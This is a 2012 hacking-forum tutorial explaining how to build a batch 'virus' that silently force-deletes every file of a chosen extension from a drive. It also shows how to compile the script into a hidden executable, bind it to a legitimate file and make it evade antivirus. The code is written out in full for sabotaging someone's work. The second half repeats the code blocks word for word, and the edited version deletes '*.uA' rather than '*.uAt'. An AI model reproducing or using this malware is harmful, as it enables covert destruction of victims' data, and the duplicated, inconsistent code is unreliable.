From batchvirus to stealthy, bindable .exe

From batchvirus to stealthy, bindable .exe - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: From batchvirus to stealthy, bindable .exe (/Thread-From-batchvirus-to-stealthy-bindable-exe)

From batchvirus to stealthy, bindable .exe - unknownAttacker - 10-19-2012

Batchviruses are very easy to create, especially if you want a specialized virus targeting something specific. The problem with them is that they are always conspicous (batch is rarely used) and that anyone can see their code with just a notepad. Fortunately, this can be solved.

Get yourself a program known as Advanced BAT to EXE Converter. It allows you to compile batch files to executables and also adds some nice functions. So, how to use it in practice?

Let's say that you're trying to disrupt somebody's work on a certain data. Let's assume that this data is stored in really awesome unknownAttacker files (extension .uAt). Batchvirus will look something like this:

Code:
@echo off
REM this goes to partition root
cd \
REM this forcefully deletes all uAt files from all folders
del /F /S /Q *.uAt

Now, open it with the compiler you've downloaded. Apply minor changes:

Code:
@echo off
REM lowercase rem in ABTEC is used not for comments but for special functions
REM this will make your virus run in a background
rem Hideself 
REM this goes to partition root
cd \
REM this forcefully deletes all uAt files from all folders
del /F /S /Q *.uA

Now press CTRL+E to compile. It should create an EXE file that does what your batchvirus did and is completely silent about it. For bonus points, it can be easily binded with a legit file, using any method. For even more bonus points: it's FUD, compile and see for yourselves.

Code:
@echo off
REM this goes to partition root
cd \
REM this forcefully deletes all uAt files from all folders
del /F /S /Q *.uAt

Now, open it with the compiler you've downloaded. Apply minor changes:

Code:
@echo off
REM lowercase rem in ABTEC is used not for comments but for special functions
REM this will make your virus run in a background
rem Hideself 
REM this goes to partition root
cd \
REM this forcefully deletes all uAt files from all folders
del /F /S /Q *.uA